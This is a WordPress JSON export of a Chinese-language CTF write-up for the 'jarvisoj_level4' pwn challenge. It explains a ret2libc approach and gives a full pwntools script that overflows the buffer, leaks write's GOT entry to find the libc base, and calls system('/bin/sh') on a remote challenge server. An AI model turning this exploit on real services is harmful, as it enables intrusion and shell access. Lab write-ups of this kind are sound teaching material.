{"id":106,"date":"2025-07-21T17:17:47","date_gmt":"2025-07-21T09:17:47","guid":{"rendered":"http:\/\/lycoreco.cn\/?p=106"},"modified":"2025-07-21T17:17:48","modified_gmt":"2025-07-21T09:17:48","slug":"jarvisoj_level4","status":"publish","type":"post","link":"http:\/\/lycoreco.cn\/index.php\/2025\/07\/21\/jarvisoj_level4\/","title":{"rendered":"jarvisoj_level4"},"content":{"rendered":"\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/lycoreco.cn\/wp-content\/uploads\/2025\/07\/\u5c4f\u5e55\u622a\u56fe-2025-07-21-154743.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"846\" height=\"869\" data-original=\"http:\/\/lycoreco.cn\/wp-content\/uploads\/2025\/07\/\u5c4f\u5e55\u622a\u56fe-2025-07-21-154743.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-107\"  sizes=\"auto, (max-width: 846px) 100vw, 846px\" \/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"fOkkz\">1.\u5206\u6790<\/h2>\n\n\n\n<p id=\"u599a09e3\">checksec:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/lycoreco.cn\/wp-content\/uploads\/2025\/07\/\u5c4f\u5e55\u622a\u56fe-2025-07-21-154921.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"926\" height=\"461\" data-original=\"http:\/\/lycoreco.cn\/wp-content\/uploads\/2025\/07\/\u5c4f\u5e55\u622a\u56fe-2025-07-21-154921.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-108\"  sizes=\"auto, (max-width: 926px) 100vw, 926px\" \/><\/div><\/figure>\n\n\n\n<p id=\"u4fe14a07\">\u5c31\u4e0d\u8003\u8651shellcoode\u4e86\uff0c\u54b1\u76f4\u63a5\u6765ret2lic\uff0c\u8fd9\u4e2a\u9898\u4e5f\u4e0d\u590d\u6742\uff0c\u633a\u7b80\u5355\u7684\uff0c\u5f00\u9020\uff01<\/p>\n\n\n\n<p id=\"ue847c6af\">\u5c31\u5229\u7528write\u51fd\u6570\uff0c\u540c\u6837\u7684\u6709\u4e09\u4e2a\u53c2\u6570\uff08\u53bb\u770b\u51fd\u6570\u539f\u578b\uff09<\/p>\n\n\n\n<p id=\"u95aa394a\">(1\uff0cwrite_got,4)\u5c31\u8fd9\u6837\u5e26\u5427<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"w7wH3\">2.\u5b9e\u64cd<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *\ncontext.log_level=\"debug\"\np=remote(\"node5.buuoj.cn\",27528)\nelf=ELF(\".\/level4\")\nlibc=ELF(\".\/libc-2.23.so\")\n\nfunc=0x804844B# vulnerable_function\nwrite_plt=elf.plt&#91;'write']\nwrite_got=elf.got&#91;'write']\n\npayload=b'a'*(0x88+4)+p32(write_plt)+p32(func)+p32(1)+p32(write_got)+p32(4)\np.sendline(payload)\nwrite=u32(p.recv(4))\nprint(hex(write))\n\nbase=write-libc.sym&#91;'write']\nsys=base+libc.sym&#91;'system']\nbinsh=base+next(libc.search(b'\/bin\/sh'))\n\npayload=b'a'*(0x88+4)+p32(sys)+p32(0)+p32(binsh)\np.sendline(payload)\np.interactive()<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/lycoreco.cn\/wp-content\/uploads\/2025\/07\/\u5c4f\u5e55\u622a\u56fe-2025-07-21-160959-1024x620.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"620\" data-original=\"http:\/\/lycoreco.cn\/wp-content\/uploads\/2025\/07\/\u5c4f\u5e55\u622a\u56fe-2025-07-21-160959-1024x620.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-109\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p><br>\u5c31\u5230\u8fd9\u513f\u5427<\/p>\n","protected":false},"excerpt":{"rendered":"<p>1.\u5206\u6790 checksec: \u5c31\u4e0d\u8003\u8651shellcoode\u4e86\uff0c\u54b1\u76f4\u63a5\u6765ret2lic\uff0c\u8fd9\u4e2a\u9898\u4e5f\u4e0d\u590d\u6742\uff0c\u633a\u7b80\u5355\u7684 [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":110,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[4],"class_list":["post-106","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-learn","tag-pwn"],"_links":{"self":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts\/106","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/comments?post=106"}],"version-history":[{"count":1,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts\/106\/revisions"}],"predecessor-version":[{"id":111,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/posts\/106\/revisions\/111"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/media\/110"}],"wp:attachment":[{"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/media?parent=106"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/categories?post=106"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/lycoreco.cn\/index.php\/wp-json\/wp\/v2\/tags?post=106"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}